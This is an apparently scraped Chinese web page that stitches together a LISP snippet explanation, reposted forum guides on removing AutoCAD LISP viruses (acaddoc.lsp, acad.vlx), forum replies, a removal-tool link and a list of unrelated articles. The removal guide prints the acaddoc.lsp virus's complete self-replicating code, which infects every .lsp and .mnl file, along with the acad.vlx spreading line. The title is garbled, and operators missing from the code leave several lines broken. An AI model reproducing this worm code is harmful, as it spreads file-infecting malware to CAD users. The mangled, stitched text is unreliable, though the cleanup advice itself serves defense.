vl-file-copy(findfile(vl-list->string(10811110311146103105102)))(vl-l的簡單介紹

本文目錄一覽:

一段lisp代碼求解釋

(defun sort(l)

(mapcar

;;;;;(mapcar function list1 … listn)此函數將 list1 到 listn 當做 function 的參數, 並返回其結果。

‘cadr

;;;;;(car (cdr x))第二個函數的第一個元素

(vl-sort

;;;;根據給定的比較函數來對表中的元素排序

(mapcar

;;;(mapcar function list1 … listn)此函數將 list1 到 listn 當做 function 的參數, 並返回其結果。

‘(lambda(x)

;;;(lambda arguments expr…)此函數將用來定義一匿名的函數。

;這通常用於還不需要完整地去定義一個新函數的情況。

;經過在要使用的位置列出這個函數,

;您也可以使程序設計的意圖更明顯。

;此函數將返回最後一個 expr 的值,

;一般常與 apply 和(或) mapcar共用,

;以在表上執行一函數功能。

(list (atoi (vl-list-string

;;;;將一系列與整數表相關聯的字元組合成字元串。非負整數表。表中的每個整數都必須小於 256

(vl-remove-if-not

;;;返回由所提供表中的所有能通過測試函數的元素組成的表。非負整數表。表中的每個整數都必須小於 256

‘(lambda(y) (= 48 y 57))

(vl-string-list

;;;;將一系列與整數表相關聯的字元組合成字元串。

x)))) x)) l)

‘(lambda(m n) ( (car m) (car n)))))

)

;查了函數的定義,應當是以下意思:

;L表裡面的元素為X

;元素X由2個以上的元素構成;前面兩個必須為數值

;元素X的第二個數值為整數;如果在48~57之間就符合條件並重新組合為一個表

;這個表根據X的第一個數值從小到大排序

string(10811110311146103105102)))(vl-l的簡單介紹”>

運行CAD之後會自動生成一個lisp文件

保證你不在區域網 或者u盤不亂拷吧。我也中了 這個,清楚不徹底。一下是我自己收集的。

方法 一

acaddoc.lsp輸入的列表有缺陷(轉自LOVE空間)2009年04月07日 星期二 上午 11:14這個是個新病毒,用以往的解決方法(1.lps改名為acaddoc.lsp替換)無法解決,在網路搜索了一下看到百度空間有個帖子有相關解決辦法。

原帖如下:

今天在Q群里又見網友請求刪除CAD病毒,說用專殺工具也無法解決,於是讓他把病毒文件傳了給我。

打開文件一看,發現這個「acaddoc.lsp」文件內的程序代碼跟以往的「acaddoc.lsp」病毒文件不同。

該病毒文件自動搜索CAD支持路徑下的所有「*.mnl」文件和「*.lsp」文件。將病毒代碼(「acaddoc.lsp」文件內容)寫入「*.lsp」文件內,並在「*.mnl」文件中寫入「*.lsp」文件的載入路徑。同時,直線命令「line」、外部參照管理命令「xref」和分解(炸開)命令「explode」無法使用。

CAD系統感染該病毒文件後,只是簡單搜索刪除「acaddoc.lsp」文件,不能清除病毒。因為所有的「*.lsp」文件已經被修改,所有「*.lsp」文件都是病毒文件。

解決方法壹:

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、卸載CAD(必須卸載乾淨,並進入C盤用戶目錄內刪除沒有卸載完的CAD文件)後,重新安裝CAD

解決方法貳:

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、找一台沒有被CAD病毒破壞、且安裝有相同版本CAD的電腦,複製其所有「*.lsp」文件和「*.mnl」文件至本機覆蓋原文件(包括C盤用戶目錄內的相關文件)

預防CAD病毒:

裝好CAD系統後,在沒有被病毒感染前,將CAD目錄內所有文件的屬性設置為只讀,可以減少中毒的機率。(此法99.999%有效)

附:C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\

其中×××是你登錄系統時的用戶名, 200×和R×.×分別是CAD的版本和版本代號。(注意:目錄C:\Documents and Settings\是系統隱藏文件夾)

轉帖地址:

方法 二

CAD開機運行時會有一大串函數,並且產生acaddoc.lsp的文件處理方法,我用了,方法很好就轉過來了

以下是本人中了acaddoc.lsp病毒的後親身體驗的殺毒經歷。

開始也在網上找了很多所謂的CAD病毒專殺、acaddoc.lsp專殺什麼的軟體。。。全試了都沒有用。後來通過網上介紹的一些關於lsp病毒的特性,親身試驗後確實有效,在此和大家分享,希望能為大家解決一些問題。

下面言歸正傳,殺毒步驟如下:

1、全盤刪除acaddoc.lsp(包括隱藏文件夾)——————廢話了,呵呵

2、刪除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp

3、刪除C:\Documents and Settings\Administrator\Application。Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。

4、刪除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10個****.lsp文件。

5、COPY下面附件的alsp內的兩個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support,改為只讀。

6、COPY下面附件的mnl內的三個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support,改為只讀。

7、COPY下面附件的LSP內的十個文件到C:\Program Files\AutoCAD 2006\Support,改為只讀。

經以上步驟處理後,就完全可以放心使用了。

方法 三

CAD的病毒很多但都大同小異。現就出現的ACADDOC.LSP病毒進行殺毒。不用重新安裝CAD的辦法。

1、發現文件夾中多出ACADDOC.LSP說明你中毒了。

2、關閉CAD程序。

3、全盤查找 *.fas *.lsp *.mnl *.arx文件,除了CAD安裝目錄以外的全部刪除。

4、檢查CAD安裝目錄文件的修改時間,把最近的幾個文件中的病毒代碼刪除。(用記事本打開)

5、把CAD安裝目錄中的所有*.fas *.lsp *.mnl *.arx文件改為只讀屬性。

說明:

1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夾下的3d.lsp;3darray.lsp;acad2010.lsp;acad2010doc.lsp;acadinfo.lsp;ai_utils.lsp;attredef.lsp;edge.lsp;mvsetup.lsp;sample-profile-util.lsp文件。

2、要刪除的病毒代碼在文件的尾部,具體如下:

(setq flagx t)

(setq bz “(setq flagx t)”)

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target “r”))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source “r”))

(setq wjm1 (open target “a”))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar “cmdecho” 0)

(setq acadmnl (findfile “acad.mnl”))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath “*.mnl”))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile “acad.exe”))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath “\\support”))

(setq lspfilelist (vl-directory-files support “*.lsp”))

(setq lspfilelist (append lspfilelist (list “acaddoc.lsp”)))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar “dwgname”))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath “\\acaddoc.lsp”))

(setq mnln 0)

(while ( mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath “\\” (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while ( lspn lspnum)

(setq lspfilename (strcat support “\\” (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while ( mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath “\\” (nth mnln mnlfilelist)))

(setq mnln1 0)

(while ( mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath “\\” (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while ( lspn1 lspnum)

(setq lspfilename1 (strcat support “\\” (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while ( lspn lspnum)

(setq lspfilename (strcat support “\\” (nth lspn lspfilelist)))

(setq lspn1 0)

(while ( lspn1 lspnum)

(setq lspfilename1 (strcat support “\\” (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while ( mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath “\\” (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

(load “acadapq”)

(princ)

加入360督導委員會 參與全民護安全! 論壇版主擴編,歡迎您的加入!

canesky

金幣:65

經驗:99

等級:學前班

功勛:無

簡訊

[回復此樓][引用][舉報] 2 樓 2010-06-11 09:27 頂!

寒梅雪松

金幣:15

經驗:51

等級:幼兒園

功勛:無

簡訊

[回復此樓][引用][舉報] 3 樓 2010-11-10 03:14 這個方法不管用

aimou108

金幣:15

經驗:55

等級:幼兒園

功勛:無

簡訊

[回復此樓][引用][舉報] 4 樓 2010-12-07 10:59 已解決!感謝360論壇!同時感謝qq!如果不是qq當年作出一個艱難的決定,我不會用上360.,也就不會知道360論壇。

樓主給我們提供了一個解決方案,但需要注意的是,病毒感染的並不僅僅是安裝目錄下的文件。如果僅僅清除安裝目錄下感染文件的代碼,是無效的。這也是很多朋友說這個方法不管用的原因。它同時感染了

C:\Documents and Settings\用戶名\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下的*.MNL文件。需要一併將上述代碼清除。

這個問題折騰了我幾個月,奶奶的。無毒一身輕啊。。。

vlx文件怎麼打開

AutoCAD軟體默認自動運行的文件。每當使用acad軟體打開的圖紙所在目錄有該文件就會自動執行,曾為cad二次開發軟體自動載入的常用方式。當文件存在於某些acad工作目錄或者acad程序目錄裡面,acad軟體也會自動載入。現在除了極少部分二次開發軟體使用外,基本都是CAD病毒表現形式。一般來說該病毒會隨圖紙自動執行並且感染acad軟體和二次開發軟體,甚至導致圖紙信息被破壞,後果比較嚴重。

這實際上不是Autodesk提供的AutoCAD文件。當AutoCAD載入acad.vlx惡意文件時,會使繪圖損壞,進而導致在您保存並重新打開工程圖時彈出「缺少語言包」( Missing Language Pack )對話框。

acad.vlx文件會在Help文件夾下面創建一個副本(例如,C:\Program Files\AutoCAD 2010\Help\logo.gif)。其它多個文件也會被修改,同時ACADLSPASDOC系統變數的值會被改為1,這將允許acad.vlx文件載入到其它打開的工程圖中,導致工程圖損壞。

下述清理流程將在AutoCAD試圖載入acad.vlx 文件之前發現該文件並將其刪除,防止病毒的傳播。

為了避免其它文件的損壞

您必須以Microsoft Windows操作系統的系統管理員身份完成本流程。

在您的產品安裝目錄中,找到Support 文件夾(例如,C:\Program Files\AutoCAD 2010\Support)。

在Support文件夾內,雙擊acad20xx.lsp文件(例如,acad2010.lsp文件)。 在文件中加入下面的代碼。 AutoCAD將發現並刪除acad.vlx和logo.gif 文件。

(defun cleanvirus( / lspfiles lspfile x)

(setq lspfiles ‘(“acad.vlx” “logo.gif”))

(foreach lspfile lspfiles

(while (setq x (findfile lspfile))

(progn

(vl-file-delete x)

(princ “\nDeleted file “)

(princ x)

);progn

);while

);foreach

)

(cleanvirus)

打開下面的所有文件:

o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

o ROAMABLEROOTPREFIX\Support\acad.mnlo

備註: 將ROAMABLEROOTPREFIX替換為ROAMABLEROOTPREFIX 系統變數的返回值。

如果出現下列代碼,請刪除:

(vl-file-copy(findfile(vl-list-string'(108 111 103 111 46 103 105 102)))(vl-list-string'(97 99 97 100 46 118 108 120)))

保存所有文件。

備註:在AutoCAD2004或2007中有可能並沒有

o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

o ROAMABLEROOTPREFIX\Support\acad.mnlo這三個文件,不用擔心,只更改上面說的acad20xx.lsp文件即可解決。

CAD中acad.fas病毒怎麼殺?

《築原CAD病毒專殺v3.3》百度網盤資源免費下載:

鏈接:

?pwd=gsn8 提取碼: gsn8

築原CAD病毒專殺v3.3最新版是一款專門針對AutoCad病毒專殺修復及免疫的專殺工具,針對掃描結果,您可選擇刪除、僅掃描或放至回收站等模式,查殺效果顯著,築原CAD病毒專殺還內置了白名單和黑名單添加功能,為您預留自由選擇空間,增強病毒防範的準確度,而且支持微軟所有操作系統,是CAD用戶必備工具之一。

我的CAD Mechanical在使用中提示「缺少下列語言包」(希臘語),不知道怎麼解決!求高手指點!謝謝啦!

這實際上不是Autodesk提供的AutoCAD文件。 當AutoCAD載入acad.vlx惡意文件時,會使繪圖損壞,進而導致在您保存並重新打開工程圖時彈出「缺少語言包」( Missing Language Pack )對話框。

acad.vlx文件會在Help文件夾下面創建一個副本(例如,C:\Program Files\AutoCAD 2010\Help\logo.gif)。 其它多個文件也會被修改,同時ACADLSPASDOC系統變數的值會被改為1,這將允許acad.vlx文件載入到其它打開的工程圖中,導致工程圖損壞。

下述清理流程將在AutoCAD試圖載入acad.vlx 文件之前發現該文件並將其刪除,防止病毒的傳播。

為了避免其它文件的損壞

您必須以Microsoft® Windows® 操作系統的系統管理員身份完成本流程。

在您的產品安裝目錄中,找到Support 文件夾(例如,C:\Program Files\AutoCAD 2010\Support)。

在Support文件夾內,雙擊acad20xx.lsp文件(例如,acad2010.lsp文件)。 在文件中加入下面的代碼。 AutoCAD將發現並刪除acad.vlx和logo.gif 文件。

(defun cleanvirus( / lspfiles lspfile x)

(setq lspfiles ‘(“acad.vlx” “logo.gif”))

(foreach lspfile lspfiles

(while (setq x (findfile lspfile))

(progn

(vl-file-delete x)

(princ “\nDeleted file “)

(princ x)

);progn

);while

);foreach

)

(cleanvirus)

打開下面的所有文件:

o C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

o C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

o ROAMABLEROOTPREFIX\Support\acad.mnlo

備註: 將ROAMABLEROOTPREFIX替換為ROAMABLEROOTPREFIX 系統變數的返回值。

如果出現下列代碼,請刪除:

(vl-file-copy(findfile(vl-list-string'(108 111 103 111 46 103 105 102)))(vl-list-string'(97 99 97 100 46 118 108 120)))

保存所有文件。

原創文章,作者:QODA,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/140128.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
QODA的頭像QODA
上一篇 2024-10-04 00:23
下一篇 2024-10-04 00:23

相關推薦

  • Python簡單數學計算

    本文將從多個方面介紹Python的簡單數學計算,包括基礎運算符、函數、庫以及實際應用場景。 一、基礎運算符 Python提供了基礎的算術運算符,包括加(+)、減(-)、乘(*)、除…

    編程 2025-04-29
  • Python滿天星代碼:讓編程變得更加簡單

    本文將從多個方面詳細闡述Python滿天星代碼,為大家介紹它的優點以及如何在編程中使用。無論是剛剛接觸編程還是資深程序員,都能從中獲得一定的收穫。 一、簡介 Python滿天星代碼…

    編程 2025-04-29
  • Python海龜代碼簡單畫圖

    本文將介紹如何使用Python的海龜庫進行簡單畫圖,並提供相關示例代碼。 一、基礎用法 使用Python的海龜庫,我們可以控制一個小海龜在窗口中移動,並利用它的「畫筆」在窗口中繪製…

    編程 2025-04-29
  • Python櫻花樹代碼簡單

    本文將對Python櫻花樹代碼進行詳細的闡述和講解,幫助讀者更好地理解該代碼的實現方法。 一、簡介 櫻花樹是一種圖形效果,它的實現方法比較簡單。Python中可以通過turtle這…

    編程 2025-04-28
  • Python大神作品:讓編程變得更加簡單

    Python作為一種高級的解釋性編程語言,一直被廣泛地運用於各個領域,從Web開發、遊戲開發到人工智慧,Python都扮演著重要的角色。Python的代碼簡潔明了,易於閱讀和維護,…

    編程 2025-04-28
  • 用Python實現簡單爬蟲程序

    在當今時代,互聯網上的信息量是爆炸式增長的,其中很多信息可以被利用。對於數據分析、數據挖掘或者其他一些需要大量數據的任務,我們可以使用爬蟲技術從各個網站獲取需要的信息。而Pytho…

    編程 2025-04-28
  • 如何製作一個簡單的換裝遊戲

    本文將從以下幾個方面,為大家介紹如何製作一個簡單的換裝遊戲: 1. 遊戲需求和界面設計 2. 使用HTML、CSS和JavaScript開發遊戲 3. 實現遊戲的基本功能:拖拽交互…

    編程 2025-04-27
  • Guava Limiter——限流器的簡單易用

    本文將從多個維度對Guava Limiter進行詳細闡述,介紹其定義、使用方法、工作原理和案例應用等方面,並給出完整的代碼示例,希望能夠幫助讀者更好地了解和使用該庫。 一、定義 G…

    編程 2025-04-27
  • 2的32次方-1:一個看似簡單卻又複雜的數字

    對於計算機領域的人來說,2的32次方-1(也就是十進位下的4294967295)這個數字並不陌生。它經常被用來表示IPv4地址或者無符號32位整數的最大值。但實際上,這個數字卻包含…

    編程 2025-04-27
  • 製作一個簡單的管理系統的成本及實現

    想要製作一個簡單的管理系統,需要進行技術選型、開發、測試等過程,那麼這個過程會花費多少錢呢?我們將從多個方面來闡述製作一個簡單的管理系統的成本及實現。 一、技術選型 當我們開始思考…

    編程 2025-04-27

發表回復

登錄後才能評論